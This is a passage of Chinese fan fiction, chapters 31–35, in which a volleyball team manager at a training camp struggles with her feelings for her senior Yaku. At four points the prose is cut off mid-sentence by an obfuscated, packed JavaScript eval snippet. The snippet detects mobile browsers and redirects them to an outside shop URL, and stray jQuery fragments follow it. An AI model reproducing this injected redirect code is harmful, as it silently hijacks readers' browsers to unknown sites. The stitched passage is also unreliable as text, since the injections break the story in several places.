“刚刚被我拦死的人就不要在这里大放厥词了。”熟悉的嗓音自身侧响起，我肩膀一重，随即身体被惯性带得退了两步，黑尾顺势站到我前面，语气难掩嫌弃，“还有，你说话小点声，吓到我们家经理了，把人吓跑了你负责啊。” “？！！我哪有！！我明明一直都很友好的好吗！！”偶尔会被我幻视成猛禽的前辈登时抗议起来，他猛地转头，“你说是吧赤苇！！” 黑发前辈语气平静而委婉地有问必答，“木兔前辈，你的确太过热情了。” “欸？！！”木兔看起来十分有一万分的不解，他抓抓脑袋，语气怀疑，“真的吗？” 他试图向另一个当事人求证，抱着希冀的想法转头看过来。 我正摸摸胸口试图安抚没缓过来还在胸腔里狂跳不止的心脏，结果抬头就迎面对上罪魁祸首（不是）的视线，下意识视线一飘，不着痕迹地往黑尾前辈身后躲了躲。 ——这不就相当于默认了吗！！ 最后一点希望破灭，木兔缓缓地失去颜色，风干变成雕塑了。 “……对不起我不是故意的！只是你拍的真的很好！！”雕塑坚强地发出遗言。 “没关系……”我还是第一次见这样的奇观，语气犹豫地先回了一句，随即话锋一转，“木兔前辈这样没事吗？” “没事的。”在场看起来最靠谱的赤苇告诉了我答案，随即转头，冷静地提醒木兔，“木兔前辈，再不起来食堂就要关门了，比赛会打不完的。” 木兔以一个令我惊叹的速度从黑白雕塑状恢复到原来的状态，他看起来丝毫不受刚才小插曲的影响，大声，“快继续吧！多了裁判我们就可以在食堂关门之前打完了！！” …… 我叹为观止。 31. 三十一个小岛 不过虽然这么说，但最后比赛还是没有比完就是了。 但也差不多？比分停在“12:11”上，离结束也的确没差多少。 拍照后面我稍微上了点心，但最后成图还是没达到预期……有种辜负了别人信任的愧疚感，但木兔前辈本人倒是很满意，问我能不能加个line把照片传给他。 我没有拒绝的理由便同意了，结果最后事情莫名其妙发展成了跟在场所有人交换line，我颇感震惊与不解，忍不住用敬佩的目光看向一手促成这一切的黑尾，莫名从他身上看到了研二哥的影子。 ……为什么说的像在吃代餐？好奇怪。 我腹议。 这么说起来好像的确好久没见到阵平哥他们了……这两个人上大学之后就一年难见几次，也就消息没断过，上警校之后更是连消息都几乎没了，毕竟警校那边封闭式管理，据说要收手机来着。 不过现在……应该没那么严了吧？记得之前和研二哥聊天的时候他有提过警校最开始的那一个月管的最严，后面会稍微宽松点。 嗯……不过研二哥大概没交手机吧，前段时间合宿的时候他还回我消息来着。 这么想着，我踏进食堂，视线下意识扫过其中的所有人，又默默收回视线，低头看看手机，踌躇两秒，最后还是把手机放回口袋，再去拿餐盘。 # 合宿的日子于我而言平淡且没有波澜，可能是因为我是个可悲的感受不到热血氛围的人。 不过这也没什么所谓就是了，某种意义上来说我还挺喜欢这样的生活的，比之前要好的多。 至少在家里的话我完全没什么事情可做，作业写完之后就只能去练练琴看看乐谱什么的，无聊而寂寞。 真好啊。 抱着笔记本站在场边，我一边记录场上的失分情况，一边分神地想着。 忙碌的、热闹的、拥挤的生活总能持之以恒地带给我源源不断的幸福感，是因为人是群居动物吗？ “在想什么？”熟悉的嗓音带着些微运动后的喘气声在我身旁响起，我下意识侧头看了看，直直对上刚从场上轮换下来的夜久前辈的眼睛。 我这会儿倒没了最开始与人对视的惶恐，只有些茫然地眨了眨眼，才慢半拍地反应过来他问了什么。 “唔……东京是不是好久没下雨了？”我答非所问。 不知道为什么，我不是很想把脑子里想的东西直白地跟他讲，总有种怪异的羞耻感，便思绪一歪，顺口地回了他这么一句。 夜久颇感疑惑地看我一眼，没想明白我到底有什么想说的，便谨慎地按照字面意思回我，“合宿前才下了场雨吧。热就别穿外套了，小心中暑。” 我沉默两秒，莫名有些恼，不大高兴地撇撇嘴，不回话了。 夜久乐了，他有些讶异地偏头看了看我的神色，看起来颇为费解，“怎么了？又生气了？” 什么叫“又”啊，搞得像我脾气很不好一样。 我登时有些不满，转过头刚准备就这个话题反驳什么，就见距离很近的前辈面色忽地一凌，先下意识噤声，又不禁有些茫然地下意识顺着他的视线转头看过去。 当然，我并没有成功地完成这一系列动作。 手臂被灼热的掌心攥住，我还没来得及感受肌肤相触后自另一边传来的温度，整个人便被猛地向旁拽去。 炙热的气息兜头罩过来，后背结结实实短暂撞上他人的胸膛，又马上被人迅速拉开一个足够妥帖的距离，我察觉到一个手掌克制地、轻轻地盖上肩头，触感轻微，他大抵是没怎么用力的，只虚虚地拢住，偏又将我牢牢地护进怀里。 余光中，黄蓝相间的排球重重砸向我刚才站的位置，于视网膜中只留下一道残影，落地后又擦着我们过去，于我下意识追寻的视线中向着不远处另一个没人使用的空球场滚去。 我呼吸一窒，后怕的情绪后知后觉地顺着脊柱窜上大脑。 “没事吧？有砸到吗？” 夜久语气有些担忧、还带着些尚未散去的后怕懊恼，我瞥见他关切的眸光先下意识摇了摇头，又忍不住再看了眼不远处已经孤零零停下的排球，最后才转回来，望向场内纷纷担忧朝我看来的队员们。 打出那一球的乌野前辈被他们的队长拽过来，长相成熟但性格意外腼腆而柔软的前辈面色愧疚，他不大好意思地过来连连道歉，“对不起啊，我……” “我没事的。”我没觉得他有什么问题，毕竟球场外四处乱飞的流弹属实正常，只暗自反思了一下之后在场边最好还是千万不要分神，结果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309381|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬头发现这位前辈似乎快心虚愧疚到当场风化不禁懵了下，赶紧转移话题，“比赛还没结束吧，不继续吗？我真的没事的。” ……但多少还是有点吓人。 东峰前辈作为力量型选手，他真的看起来一拳能打死三个我。 那一球砸我身上的话，据当时的目测应该砸不到我头，肩胸腰随机一个地方砸吧，应该不至于真砸出什么问题，但痛是真的很痛啊。 全排球部下来也就研磨前辈的球砸过来没那么痛，顶多再加不扣球的自由人夜久前辈和芝山，其他人打过来的球都很痛。 不敢想东峰前辈的球砸身上会多疼，救命。 ……下次我真的不会跟夜久前辈在场边聊天了。 虽然知道有他在绝对不会受伤，但紧张和后怕也的确是实打实的，心脏跳如擂鼓，我用舌尖抵了抵上颚，感觉掌心渗出了一层细密的汗。 肩头的手似乎一瞬间紧了紧，又在下一秒松开，隔着一层外套感受到的触感有些古怪，我便下意识偏头看过去。 夜久前辈刚张了张嘴，似乎想说些什么，但猛地对上我的眼睛又蓦地噤声，下意识瞥开视线，兀自犹豫了一会儿，才开口告诫我，“下次站在场边的时候不要分心，很危险。” 嗯……嗯？ 听不到下文，我下意识侧头，视线划过夜久前辈似乎比刚才红了一些的侧脸时微微一顿，心思却不在这上面，发现对方没有继续说下去的意思的那一刻，疑惑与茫然的情绪便突兀地占据了所有心神，混杂着向外冒时，又无端带上两分无理取闹的委屈。 不、不，等等……夜久前辈为什么会突然用这样冰冷的、生硬的语气这么告诫我？ 明明之前都会先关心我、问问我有没有受伤、有没有被吓到……为什么突然变了？是我做了什么吗？ 有些茫然而惶恐地先下意识回忆了自己做过的事情，就这个空档，黑尾叫自由人轮换上场的声音便远远传来，原本还在等我回应的夜久回头应了一声，随即就不再看回来，下意识避开我的视线，匆匆地小跑到自己的位置。 回忆无果，又看着夜久远远跑走，我下意识急切地张了张嘴，最后踌躇良久还是闭上，不自觉抿起唇角，却依旧是有些惶恐的。 ……是我做错了什么吗？ 32. 三十二个小岛 之后我并没有找到机会跟夜久前辈说完当初没说完的话。 ……实在开不了口。 夜久前辈只是关心我了一下、让我下次站在场边的时候小心一点不要分神，按道理来讲，这种话题应该是当场就应该结束的才对，就算我没有回话也是一样，无非是有没有礼貌一类……而且这要怎么开口啊！ 我直接问夜久前辈为什么没有更关心我吗…那未免也太站不住脚了吧……哪有因为受到的优待消失了就跑去质问对方的，好不讲理。 况且……况且我也完全没有立场去问吧。 微妙地消沉下来，我抱着玩偶缩进被子里，侧躺着身子，透过没拉紧的窗帘默不作声地盯着外面的夜色。 微弱的呼吸声均匀而绵长，混杂着空调运作时的微小轰鸣与气流吹出的风声、还有穿过玻璃而显得有些沉闷的蝉鸣声一同传进耳畔，我扯了扯被子，感觉有点冷。 ……不该总是翻身的，被窝一直捂不热，手脚也都是凉的，好冷。 夏天的被子也不是很厚，总感觉这样下去可能会感冒，而且绝对睡不着……还是去换身衣服吧，现在穿的睡衣就是普通的短袖加短裤，换身长袖长裤吧，再穿双袜子。 虽然睡不着不是因为冷就是了……但还是穿上吧，暖和点也好。 做好决定之后又墨迹了一会儿，我终于慢吞吞从被子里钻出来，借着窗外透进来的光线小心地绕过其他熟睡的人的身体，走到我们放行李的地方。 月光还是太暗了。 我在心里嘟囔了句，眯起眼睛，凭记忆回想了下，才摸索着找到自己的包，翻了翻没拉上的拉链，从里面翻出折好的队服——没办法，带的常服都是短袖短裤来着。 我不大想按往常那样去厕所换衣服，现在太晚了，天也太黑，我不是很有出门的勇气，加上同寝的人都已经睡下了，就我一个因为莫名其妙的原因半夜惊醒后睡不着的人，我犹豫了一会儿，还是从心地直接在宿舍换了。 换衣服的过程很顺利，没出什么问题，我刚准备把换下来的衣服叠起来放回包里，就听见一道有些沙哑的、带着困顿的、被刻意压低的声音。 “小游？” 我吓得手一抖，叠了一半的裤子就啪嗒一下掉到了地上，我头皮有点发麻，僵在原地还没来得及做出反应，才慢半拍地反应过来。 是清水学姐的声音。 虽然没表现出来，但我的的确确地松了口气，稍微缓了一会儿，等手不抖了之后我蹲下身将裤子捡起来，一边转头，因为担心吵到其他人便用气音跟她解释，“是我，清水学姐。稍微有点冷，我起来换身衣服。” 顿了顿，我有些抱歉地问：“是我不小心吵醒你了吗？对不起啊。” 清水学姐愣了一下，随即摇摇头，她面上还带着困顿，侧脸被微弱的月光照亮，像给她披上了一层银沙，透着股出尘的漂亮和柔和。 她弯了弯唇，朝我露出一抹温和的笑来，也同样压低了声音，道：“没有吵到我，我睡眠比较浅而已，没事的。” 一边说着，她一边撑起身子，道“隔壁教室应该还有多余的被子，怕黑的话我可以陪你去拿，别冷到了。” 我愣了一下，多少有些没想到学姐会提出这样的提议。 “不用的学姐……太麻烦了。”我摇摇头，弯起眼，抿唇朝她笑了下……虽然我其实不太清晰她能不能看清就是了，“换件衣服就好了，没关系的。” 月光些微照亮了她的神色，一道极轻的、带着些微弱探究的目光落到我脸上，她停顿两秒，像是确认了什么一样，才道：“空调遥控器就在那里，实在冷的话可以把温度调高一点。” 她顿了顿，纠结两秒，似乎是评估了什么，才有些犹豫地、不大确定地开口问：“……是发生了什么吗？感觉你从下午开始就一直很苦恼的样子。” “……啊。很明显吗？”从小到大一直当被忽视的边缘人当习惯了，我完全没想到会有人在合宿这么多人的情况下注意到我，闻言有些慌忙地转移了视线，四处飘飘荡荡转了一圈，我最终撇开眼，避开她的视线，有些无措，还有另外一些……说不上来的、像杂乱的毛线团那样理不清的情绪涌上来。 分不开、理不清，还很陌生。 我最终还是像往常那样暂时将其忽略，将注意力放在当前的问题上，嗫嚅了下，最后小声地、含糊地回道：“稍微有一点……” 就一点点而已。 垂下眼看向地板，视线在触及包裹着熟睡的学姐时及时收回，我长长吐出一口气，打起精神， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309382|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弯起眼睛，朝着清水学姐道：“不过已经很晚啦，学姐。明天是合宿最后一天，要提前准备材料什么的……还是快点睡吧，起晚了就不好了。” 学姐静静地看了我一会。 月光下，她的瞳孔仿若倒映着清浅的银芒，黑瞳清透而幽静，看过来时有种被全部都被看透了的浑身发凉的感觉。 在我有些细微地、不自在地闪躲她的视线前，学姐眨了下眼，那种看透一切的感觉便淡下去，她朝我安抚地弯弯唇角，声线是让人下意识信赖的清冷沉稳。 “小游。”她为了防止打扰到别人而将声音放得很轻，“实在想不通的话就亲自去问问吧。” “对彼此抱有更多的信任，相信对方会解决你的担忧和顾虑。” “多信赖他一点吧，这也是与人交往的一部分哦。” ………… ……啊？ 不…等、等等。 “那个，不是、我没、我……” 大脑一片空白，组织语言的系统彻底罢工，被戳中心思和忧虑的感觉涌上心头，下意识的、我干涩地试图否认，话到嘴边却又突然戛然而止。 热意从被加速跳动的心脏牵扯而一起震动起来的胸腔窜上脖颈、耳廓，最后到达脸颊，我微微睁大了眼，下意识抬眸，慌然地对上学姐通透的、包容的眼睛。 热意持续加剧，耳畔一阵嗡鸣，覆在衣服上的五指攥了又攥，将原本被折叠整齐的布料攥出一道道褶皱，翻涌上来的思绪杂乱无章，无措的、慌乱的、复杂的情绪占据所有心神，但抬眸迎上她的目光，我却奇异地、微妙地、像被安抚到了那样冷静了些。 指尖因即将脱口的话而僵硬起来，不着痕迹地打着颤，但我顾不上这么多，只鼓起勇气，磕绊地开口，声音透着浓厚的、不确定的犹豫和惶然。 “……我真的可以吗？” 我问。 像在同学姐寻求一个答案、又像是在质问某个只会胆怯和闭嘴的胆小鬼。 学姐轻嗯了声。 “虽然没那么了解、也没那么熟悉，但多少还是能看出来的吧。” 她语气和缓，“夜久君比小游你想的更在乎你呢。” ………… ……… ……真的，吗。 33. 三十三个小岛 是七夕加更 第二天还是起晚了。 被学姐推醒的时候我人还是懵的，先下意识昏沉沉地爬起来，原地茫然了会儿，凭着肌肉记忆从枕头底下摸出手机按亮屏幕，这才看到了屏幕上的时间和整整三个未响应的定时闹钟。 ……救命。 我堪称是慌乱地当即爬起来，有点欲哭无泪，“学姐不用等我……我去刷个牙就下去，马上了。” 白福学姐弯弯眼睛朝我笑了一下，调侃道：“昨天晚上做贼去了？黑眼圈很重哦小游。” 被她一句话带起昨晚的回忆，我想起最后那让我睡不着的罪魁祸首，不自觉地，脸颊便又开始发烫。 “……不，别说了，白福学姐。”手掌盖住脸颊，感受着掌心逐渐传来的逐渐升温的热意，我盯着眼前叠了一半的被子发愣，半晌，才深吸一口气，闷闷地、有点生无可恋地回道。 学姐心情很好地哈哈笑了声，见好就收地顺着我的话略过这个话题，正经了点，“不用那么着急哦，英里他们也刚起没多久呢。” “毕竟小游你平时都起的很早嘛，稍微晚一点也不会晚到哪去。”话到一半，她突然发散思维，补充了一句。 “……嗯。”我含糊地应了一声，手脚麻利地将被子叠好，随即开始收被褥——今天是合宿最后一天了，要把被褥什么的全部收起来。 白福了解我的性格，知道我会听的同时也没指望我开口，笑吟吟地跟我叮嘱完便走了，离开前还顺手搓了搓我的头发。 嗯……未免有点太顺手了吧。 有些茫然地抬头看着她的背影，我蹲在地上，慢了半拍地伸手碰了碰头发。 ……阵平哥研二哥就算了，他们从小到大一直这样，但怎么学姐也喜欢摸我的头？ 好怪……但并不讨厌。 捂了捂还隐约带着热意的脸颊，我深吸一口气，尽力让胸腔中躁动般跳动着的心脏安静下去，直到耳旁再听不到存在感极强的心跳声，才不自觉地吐出一口气。 ……虽然还没到时候，但就算只是现在稍微想一想，也还是有点舍不得合宿的。 没记错的话，这是今年的最后一次合宿吧？ # 最后一天的训练不多，只有上午有训练和练习赛，我没全程参与，差不多刚刚过半的时候就溜去食堂帮忙了。 “因为有手白芝山他们在，可以把记录之类的工作交给他们，也可以来提前帮帮忙，今天工作量不是还挺大的吗。”对于学姐询问我为什么提前一个小时就来了这件事，我是这么回答的。 ……啊，当然。其中也有一点点其他的因素就是了。 有点不太想继续待在体育馆里，夜久前辈作为自由人需要在场上场下轮换，一般为了方便都会和我站到一块，毕竟经理的位置算得上是最佳观众席来着……平时无所谓，真要说的话我甚至有点开心，但今天……稍微有点不太想面对夜久前辈。 ……这个就别问原因了，我也不知道。 大概是直觉吧，不知道为什么，那个时候总会有点微妙的、不自在的情绪在胸腔中翻涌，倒也不是什么讨厌之类的负面情绪，但也跟喜悦、开心一类的正面情绪沾不上边，总之很怪异。 我趁着不需要集中精力的时候认真地思考过该怎么形容这样的感觉，但可能是因为时间太少、或者是因为当事人隔一会就会回到我身边，最后还是无疾而终了。 下意识躲了小半个上午，我最后实在受不了，确认接下来的事情交给同级生们也不会出问题之后就趁着夜久前辈上场火速跑了。 直在食堂领了任务拿着需要洗的食材到水池跟前的时候，我才勉强静下心来，思考两秒，又有点百思不得其解。 ……我到底在闹什么别扭啊。 流水划过皮肤，手背上冰凉的触感将我的神智换回，我默不作声地抖了抖洗干净的菜，将它放进旁边的盆里。 完——全想不明白，但……至少不能这么下去了。 ……这对夜久前辈不公平的吧。 明明是我莫名其妙地被别人完全不会在意的问题所困扰、明明夜久前辈什么也没有做错，我……我凭什么为此对他改变态度啊。 这不是无妄之灾吗。如果是我突然被照顾了很久的后辈躲着、疑似被讨厌了的话……虽然目前还没有这样的后辈，但多少还是会有点难过的吧。 被水浸得冰凉的手带着湿润的触感按上眼睛的位置，很凉，水滴顺着脸颊滑下去滴进衣服里，被食堂开着的空调所带起的凉风一吹，甚至有些冷。 但我意外清醒了些。 自己的问题果然还是不要牵扯到别人吧……被牵扯到的人未免也太无辜了。 ……明明夜久前辈什么都没有做错啊。 需要道歉吧……但万一夜久前辈本来没有察觉到怎么办？最近比赛挺多，夜久前辈对待比赛很认真，万一他根本没有意识到、被我提醒之后才发现怎么办？ ……会失望吗。 一想到这个可能心脏就沉甸甸地向下坠，舌尖抵住上颚，我一瞬间有点喘不上气。 ……如果结果是这样的话，我还是希望夜久前辈完全没有注意到我。 就算注意到了，那不点破应该也就好了吧，只有小半个上午的话，夜久前辈没准会觉得是错觉呢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309383|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 再等等吧。我这么想。 如果一定需要坦白的话……那我会的。 # 站在食堂门口远远望去，我将手架在眼睛上方眯起眼看向体育馆的方向，看到第一个球员从其中钻出来后便回头，朝着旁边的宫之下学姐道：“他们好像已经好了。宫之下学姐，我去叫人帮忙搬桌子了？” 宫之下学姐正用着和我一样的姿势往远看，闻言先下意识发出个疑惑的鼻音，反应了一下我说的话，才恍然般应道：“啊，好啊。我和你一起去好了。” 我含糊地应了一声，随即等了她一下，等到学姐走到旁边才和她一起往体育馆走。 黑尾前辈恰好正叉着腰站在体育馆外不知道在干什么，注意到我们的动向后看过来，挑挑眉，先逐一打了个招呼，才问：“怎么了吗？是食堂出了问题？” “啊，这倒没有。”我这会儿才意识到中午吃烤肉这事教练们貌似没有告诉他们，要不然黑尾前辈第一反应不至于是询问我是不是午饭出了问题，不禁微妙地心虚了一瞬。 我轻咳了一声，忍不住弯了弯眼，翘起唇角，道：“是要帮忙搬桌子和烧烤炉啦，今天中午吃烤肉哦。” “诶——？！！”不知道什么时候凑过来的山本前辈发出一声怪叫，“好突然！！真的吗？！！” 我视线被已经一马狂奔较着劲冲出去的两个有些眼熟的声音吸引了一瞬，慢了半拍地转回来，在心里感慨了一下乌野那边的同级生还真是有活力，才噙着笑意回答山本的话，“是的。” “教练说他们请客……诶？”山本前辈也冲出去了…？ “嘿，虎他就是这样，习惯就好、习惯就好。”黑尾前辈循着山本前辈的背影一路看过去，忍不住向我发出这样的感慨，随即转头看回来，端详了我两秒，问，“看起来像是有什么心事的样子，发生什么了？” 我忍不住诧异，“这么明显？” 一向拿的是敏锐观察力强的知心前辈人设的部长闻言登时煞有其事地抱臂，低头看了看我的神情，吐槽，“就差头上飘着乌云脸上写着憔悴地走过来了，而且你完全没装吧，看不出来才奇怪。” “……倒也不至于吧。”我搓了搓脸，下意识四处看了眼，确定没看到夜久前辈，才小声地解释了一句，“就是晚上有点失眠而已啊。” 黑尾抱臂睨了我一眼，“干嘛这种时候都要找夜久啊，明明最值得敬重的部长大人就站在你面前吧。” 我脑袋上冒出一个问号，忍不住问：“为什么是夜久前辈？” “啊……因为整个排球部你唯独最关注他啊。” 34. 三十四个小岛 啊……声音好像不对。 研磨前辈不知道从哪里冒出来，语气平淡地接了一句，一边将手心摊开递到黑尾面前，面上带着微弱的死意和疲惫。 黑尾前辈从外套的口袋里将游戏机摸出来放到他手里，研磨前辈清淡地应了声，就准备随便找个没什么人打扰的角落打游戏去了——这是经验之谈。 但临走前，他犹豫了一下，回头看向我，猫似的金瞳透着股看透了一切的透彻，又因其中情绪稀少而显出一丝非人感。 ——倒是也没累到连情绪都没掉了吧？ 虽然跟研磨前辈没什么交流，但我对他其实还算了解，朦胧的直觉嗡嗡作响，我完全生不起什么像被动物盯上了的惊悚感，只有些茫然地回视，也没有对研磨前辈随口接的话有什么另外的反应——毕竟是事实来着，没什么好反驳的。 研磨闷声看了我一会儿，默了半晌，面上浮起细微的、生动的、纠结与挣扎混杂在一块的表情。 他极明显地纠结了好一会儿，才动了动嘴唇，小声开口，“……夜久前辈也一样的，小游。” 一样的？什么一样的？ 上一句是什么来着……啊，想起来了。 【啊……因为整个排球部你唯独最关注他啊。】 ………… ……啊。 意思是，夜久前辈，在整个排球部也最关注我……是吗？ 终于反应过来研磨的意思，我有点懵地看向他，直直对上一双已经恢复了平静的金棕色眼睛。 他轻眨了下眼，浑身上下都透着股难以言喻的疲惫感，精神上还是生理上的不大清楚，应该是二者都有。我张了张嘴，想问什么，但看着他的脸色，又有点欲言又止。 气氛一时间有些陷入凝滞，黑尾四处看了看，指了指不远处的一个方向，提醒，“小游，宫之下好像在叫你。” “啊，”我下意识顺着他指着的方看过去，发现学姐正在朝我招手，似乎是需要我回去帮忙什么的，我忙提高声音回了一声，才回过头，犹豫两秒，还是轻声问，“……真的吗？” “嗯。”他含糊着应道，黑尾听着忍不住笑了下，接话，“其实很明显，也就你们自己不知道了。” 研磨默了默，忍不住吐槽，“至少列夫应该发现不了吧……他只会抱怨为什么小游和夜久前辈孤立他。” 我注意没放在他最后一句话上，只是兀自沉在他们接上那两句话。 心脏跳动开始缓慢地加速，说不清又道不明的欣喜情绪涌上来，我不自觉弯起眼睛笑了下，轻轻道了声谢谢，没等他们反应，便转头小跑两步跑向宫之下学姐。 # 这次午餐的工作不算很多，我们准备好原材料和第一波的烤肉就好了，剩下会让大家自己动手。 毕竟大家对烤肉的要求也不大一样来着。 什么几分熟啊嫩一点啊老一点啊之类的……总之乱七八糟的，都要顾忌到的话就算是超人也会感觉困扰的吧。 现在烤肉的人多，我探头探脑地观察了一会儿，最后还是望而生畏了。 感觉挤进去好好麻烦……而且跟其他学校的前辈也不是很熟来着，还是算了。 晃去蔬菜区挑挑拣拣地拿了点蔬菜，我又拿了两块玉米和一杯果汁，就坐到边缘的斜坡上开始一边慢吞吞地啃玉米一边发呆。 手机揣在兜里沉甸甸地往下坠，我索性直接把手机拿出来随手扔到脚边的草坪上，身上一下子就轻松了点。 视线没个落点，我安静地看着那边不远处人群热热闹闹的氛围，忍不住撑着下巴打了个哈欠，再抬头却看到一个人影脱离了人群朝我走过来。 是夜久前辈。 我目光落在他身上，看着他一路走到跟前，思绪却飘向另一个并不相关的话题。 总有种这一幕好像有点熟悉的感觉。我琢磨了一下，觉得应该是因为有经历过和现在相似的场景，但一时又想不起来到底是什么时候经历过。 他已经端着两个盘子走到跟前，先习惯弯腰看了看我的神色，不知道是做出了什么判断，总之没过两秒就收回了目光，随便挑了个话题，问：“昨天没睡好？” ……这句话也很熟悉！怎么今天每个人跟我搭话的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309384|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候第一句都会说这一句话，看起来真的很明显吗。 腹议两秒，我稍微有点不自在地躲了躲他的视线，还是如实道：“稍微有一点点……不过也还好。” 一边说着，我一边下意识挪了挪位置，给他让了让。 虽然不让也能坐得下就是了。 “这样啊。”夜久前辈如我所料地屈膝坐到我身侧，泛着热意的气息从身侧涌来，存在感显著而鲜明，我转头看去，就见他将手中的其中一个盘子递过来，语气和缓，“帮你稍微拿了点。不想挤进人群的话可以去找列夫他们帮忙啊，再晚点会被吃完的吧。” “真打算去当素食主义者吗？”他语气颇有些无奈地调侃，侧头对上我的眼睛。我们对视两秒，他见我一直没说话，不禁有些疑惑地歪了歪头，问，“怎么了吗？” “啊……也没有，只是那边人太多了，不太想去。”我被他提醒才恍然回神，将盘子接过来，低头看了看上面的东西。 不算多，大部分是还带着热气的烤肉，除此之外还零星还有几片菜叶和一个饭团。我又转头看了看夜久前辈的盘子。 他的倒是种类均衡，菜和肉的分量都差不多。 看来不是拿菜的习惯，那是觉得我不喜欢吃菜吗？但我对食物其实不是很挑来着。 “不，没有。只是看到你已经拿了很多蔬菜而已。”夜久前辈仿佛有读心术一般地说。想到他刚刚问我是不是真打算去当素食主义者，我顿时微妙有些心虚地轻咳一声。 不过……好像也没有那么紧张了。 本来都已经做好不管多别扭也要装作正常地跟夜久前辈相处了，但现在真聊起来之后，反倒没有想象的那么艰难。 我顿了顿，悄悄地偏头看了他一眼。 他没看我，正夹着一块烤肉不知道在端详什么，微微低垂着眉眼，微弱的阳光倾洒下来，显得他侧脸意外柔和。 ……夜久前辈是这样温和的人吗？ 一瞬间茫然了一瞬，总感觉好像有什么不对，但再一想，又感觉夜久前辈的确是这样的形象。 啊……是错觉吧。 35. 三十五个小岛 夜久前辈一直是那样的啊。 温和的、柔软的、从不将凌厉的那一面露给自己人看、护短又靠谱、很细心、会特意关注别人……总之是个超级、超级好的前辈。 所以说……果然是错觉吧。 为什么会突然疑惑夜久前辈到底是不是这样温和的人，好奇怪。 我一边这么想着，一边在他察觉到我的视线看过来之前下意识收回视线，盯着怀里的盘子发呆。 还是稍微有点提不起兴致，一想到这一顿饭结束后大家就又要分离。虽然也不是不会再有下一次合宿，但总归是不一样的。 马上就是春高了，结束之后三年级的前辈们大多都会专心备考……说实话其实有很多人连春高都不会参加就直接退部了，不过音驹的三位前辈都还一直在就是了。 下次合宿就是明年了吧。 三年级的前辈全都毕业离开，夜久前辈、黑尾前辈、海前辈……大家全都走了。 明明才刚熟悉一点来着……明年还要重新熟悉新来的学弟学妹们，想想甚至稍微有点恐怖。 我托着下巴，沉默了很久，才转头，轻轻叫了声身旁的夜久，“夜久前辈。” “嗯？怎么了？”他似乎也有些出神，慢了半拍才有些疑惑地转头看过来，正对上我的眼睛。 我猝不及防，先下意识移开视线，懵了两秒，又转回去，迎着他的视线，组织了一下语言，一时不知道怎么说，便先扯了一个不太着边际的问题，“今年还会有合宿吗？” “合宿？”他看起来没太懂我的意思，但还是回想了一下，很耐心地回答我的问题，“合宿的话大概率不会有了。春高结束后留下的三年级大多会退部专注升学的问题，合宿一般凑不齐人。” “啊……这样啊。”我倒也不意外，闻言只喃喃应了声，沉默下来，半响，才换了个问题继续问，“那明年合宿的时候已经毕业的前辈还会回来吗？” 夜久前辈似乎有些意外地挑了挑眉，我于他隐隐带上几分了然的笑意的时候突然意识到自己似乎一句话露的线索太多，堪称是将内心有些幼稚而敏感的想法直接摊开到他面前，不禁呼吸一滞。 热度瞬间窜上脖颈，我脸颊发烫，张张嘴，想为自己刚才的话打几个补丁之类的东西，但最终，在那几分微妙的期待情绪的影响下，我只含糊地吐出几个没法连成字句的音节，偏头躲开他的视线，弱弱地、有点自暴自弃地道：“不……当我没说好了。” 夜久歪头看旁边就差将羞赧地脸埋进手臂中的人，终于忍不住闷闷笑起来，有点调侃地问：“最近就在愁这个？” “还真是这个啊，”他语气带点微妙的嘲笑，轻飘飘地哂我，“小学生吗？” “……喂！”我有点恼，忍不住抬起头瞪了他一眼，声音却弱下来，最后近乎是对自己说的些嘀咕，“因为很突然啊……明明感觉还有很久的样子，结果突然意识到完全没有下次了。就是会有点舍不得的吧……” 这回夜久前辈没再笑了，他安静了会儿，随即回答我上一个问题，“会的吧。” 我没反应过来，有些茫然地反问，“什么？” “会回来的。”他干脆转头望向我的眼睛，棕色的瞳仁沉静而认真，“门卫先生又不会拦着毕业生回母校拜访。” 他静静地看着我，半响，有些无奈地勾勾唇，语气却是平静的，“时间总会过去的，小岛。” “比起提前思考未来可能的分离而提前感到惶恐，不如好好看看现在吧。” 